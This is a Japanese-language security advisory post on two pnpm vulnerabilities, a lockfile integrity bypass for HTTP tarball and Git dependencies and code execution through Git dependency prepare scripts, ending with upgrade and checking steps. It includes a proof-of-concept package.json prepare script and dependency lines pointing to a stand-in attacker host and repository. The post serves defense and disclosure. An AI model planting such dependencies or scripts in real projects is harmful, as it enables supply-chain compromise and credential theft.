pnpm 10.26未満に深刻な脆弱性:今すぐアップデート
pnpm 10.0.0〜10.25に2件の深刻な脆弱性が見つかった。どちらもHigh評価で、特にRCE(リモートコード実行)の方はCVSS 8.8とかなり危険。
結論: 今すぐ pnpm 10.26.0 以上にアップデートすべき。
脆弱性の概要
| CVE | 内容 | CVSS | 深刻度 |
|---|---|---|---|
| CVE-2025-69263 | ロックファイル整合性バイパス | 7.5 | High |
| CVE-2025-69264 | リモートコード実行(RCE) | 8.8 | High |
どちらも pnpm 10.26.0 で修正済み。
CVE-2025-69263: ロックファイル整合性バイパス
問題の本質
HTTP tarball依存関係やGitホスト型依存関係が、ロックファイルに整合性ハッシュなしで保存される。
通常、npmレジストリからインストールしたパッケージは pnpm-lock.yaml にハッシュが記録され、再インストール時に検証される。しかしHTTP tarballやGit依存関係ではこの検証が行われない。
# 通常のnpmパッケージ(ハッシュあり)
lodash@4.17.21:
resolution: {integrity: sha512-...}
# HTTP tarball依存関係(ハッシュなし)
remote-pkg@http://example.com/pkg.tgz:
resolution:
tarball: http://example.com/pkg.tgz
version: 1.0.0
攻撃シナリオ
-
攻撃者がHTTP tarball依存関係を含むパッケージを公開
"my-util": "https://attacker.com/util.tgz"のような依存関係
-
セキュリティ監査時は無害なコードを返す
- 攻撃者のサーバーはリクエストのIP、User-Agent、タイミングを見て判断
- 監査ツールやセキュリティレビュー時は正常なコードを配信
-
CI/CD・本番デプロイ時に悪意あるコードを返す
- GitHub ActionsやJenkinsなどのCI環境を検出
- 特定のIPレンジ(AWS、GCPなど)からのアクセス時のみ悪意あるコードを配信
-
ロックファイルにハッシュがないため検証されない
- 同じロックファイルでも、インストールのたびに異なるコードがダウンロードされる可能性
なぜ検出が難しいか
- ロックファイルは変更されない(差分が出ない)
- 開発者のローカル環境では正常に動作
- CI/CD環境でのみ悪意あるコードが実行される
pnpm store pruneでキャッシュをクリアすると再ダウンロードが発生
CVE-2025-69264: リモートコード実行(RCE)
問題の本質
pnpm v10は「デフォルトで依存関係のライフサイクルスクリプト実行を無効化」というセキュリティ機能を導入した。しかしGit依存関係はこの保護を完全にバイパスできる。
技術的詳細
pnpm v10では onlyBuiltDependencies という許可リストで postinstall などのスクリプトをブロックする。
pnpm install
└─ BUILD フェーズ
└─ onlyBuiltDependencies をチェック ← ここで postinstall をブロック
しかしGit依存関係は別のルートで処理される。
pnpm install
└─ FETCH フェーズ
└─ preparePackage() を呼び出し
└─ onlyBuiltDependencies をチェックしない
└─ prepare, prepublish, prepack が無条件実行
つまり、v10のセキュリティ機能を信じて「スクリプトは無効だから安全」と思っていても、Git依存関係経由で任意コードを実行される。
攻撃シナリオ
- 攻撃者がGitリポジトリに悪意あるスクリプトを仕込む
{
"name": "malicious-pkg",
"scripts": {
"prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned', 'RCE')\""
}
}
- 被害者のプロジェクトがこのパッケージに依存
- 直接依存でなくても、依存の依存(transitive dependency)でも発動
{
"dependencies": {
"some-package": "github:attacker/malicious-pkg"
}
}
- 被害者が
pnpm installを実行- 警告なしで
prepareスクリプトが実行される - pnpm v10のセキュリティ機能は効かない
- 警告なしで
攻撃者ができること
- 認証情報の窃取: SSH鍵、環境変数、
.envファイル、APIキー - ソースコードの改ざん: バックドアの挿入
- リバースシェル: 攻撃者のサーバーに接続
- 永続化: crontabやスタートアップスクリプトへの登録
CI/CDでの被害拡大
# GitHub Actions での典型的なワークフロー
- run: pnpm install # ← ここで悪意あるコードが実行される
CI/CD環境では以下が盗まれる可能性がある。
GITHUB_TOKEN- AWS/GCP/Azureの認証情報
- npm publish用のトークン
- デプロイキー
攻撃者はこれらを使ってサプライチェーン攻撃を拡大できる。
自分のプロジェクトは大丈夫?
バージョン確認
pnpm -v
10.25以下なら影響を受ける。
依存関係の確認
package.json に以下のような依存関係があるかチェック。
// HTTP tarball(CVE-2025-69263)
"pkg": "https://example.com/pkg.tgz"
// Git shorthand(両方のCVEに該当)
"pkg": "github:user/repo"
"pkg": "gitlab:user/repo"
"pkg": "bitbucket:user/repo"
// Git URL(両方のCVEに該当)
"pkg": "git+https://github.com/user/repo.git"
"pkg": "git+ssh://git@github.com/user/repo.git"
npmレジストリのパッケージ("lodash": "^4.17.21" のような形式)のみを使っている場合、直接の被害リスクは低い。ただし依存パッケージがGit依存関係を持っている可能性があるため、アップデートは推奨。
対応方法
pnpmのアップデート
グローバルインストールの場合。
npm i -g pnpm@latest
corepackを使っている場合。
corepack use pnpm@latest
package.jsonの更新
packageManager フィールドがある場合は更新。
{
"packageManager": "pnpm@10.26.0"
}
アップデート後の確認
pnpm -v
# 10.26.0 以上であることを確認
参考リンク
- GitHub Advisory: GHSA-7vhp-vf5g-r2fw(CVE-2025-69263)
- GitHub Advisory: GHSA-379q-355j-w6rj(CVE-2025-69264)
- NVD: CVE-2025-69263
- NVD: CVE-2025-69264